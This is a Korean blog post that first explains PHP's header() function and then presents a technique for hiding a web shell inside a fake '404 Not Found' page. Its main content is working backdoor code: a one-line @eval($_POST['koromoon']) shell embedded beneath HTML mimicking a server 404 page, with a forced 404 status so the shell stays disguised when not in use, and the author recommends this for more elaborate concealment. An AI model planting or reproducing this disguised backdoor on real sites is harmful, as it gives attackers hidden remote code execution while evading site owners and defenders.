KOROMOON

착한 사마리아인이 되고 싶습니다.

7/16/2020

404 Not Found 페이지를 이용한 웹쉘 숨기기


( 1 ) header() 함수


가공하지 않은 HTTP 헤더를 전송하는 함수임.

HTML 태그 및 PHP 와는 상관없이 실제의 출력 이전에 호출되어야 함.
header() 함수 위에 include() 나 require() 함수를 선언할 수 있는데 읽어 들이는 코드의 결과에 스페이스나 빈 줄이 있으면 에러가 발생함.


void header ( string $string [, bool $replace = true [, int $http_response_code ]] )

string : 전송하는 HTTP Status 코드를 표시하거나 브라우저를 리다이렉트할 문자열을 지정함.

replace : 이전에 전송된 비슷한 헤더를 바꿀지 또는 같은 형식의 두 번째 헤더를 추가할 지를 지정함.
http_response_code : HTTP Response 코드를 강제로 지정함.



( 2 ) 404 Not Found 페이지를 이용한 웹쉘 숨기기



<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h2>Not Found</h2>
<p>The requested URL was not found on this server.</p>
</body>
</html>

<?php
@eval($_POST['koromoon']);
header('HTTP/1.1 404 Not Found');
?>
< WebShell 코드 >


< WebShell 테스트 >

위 코드를 보면 404 페이지를 출력하는 HTML 코드와 header() 함수를 이용한 404 HTTP Status 코드를 출력하도록 설정됨.

코드 중간에 eval 함수를 이용한 One Line WebShell 코드를 삽입하여 공격자가 미접근 시에는 404 페이지가 출력하도록 숨김.
One Line WebShell 참고 링크 : 
https://koromoon.blogspot.com/2020/02/caidao-20160620-one-line-webshell.html


< "header('HTTP/1.1 404 Not Found');" 코드를 넣지 않을 때 인터넷 익스플로어 11 화면 >


< "header('HTTP/1.1 404 Not Found');" 코드를 넣을 때 인터넷 익스플로어 11 화면 >

참고로 "header('HTTP/1.1 404 Not Found');" 해당 코드를 넣을 때와 넣지 않을 때는 인터넷 익스플로어 11에서 차이가 있음. (크롬은 차이가 없음)

그러나 좀 더 웹쉘을 정교하게 숨기고자 한다면 넣는 게 좋을 듯...



참고 사이트 :

http://blog.naver.com/chocolleto/30099672894



============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기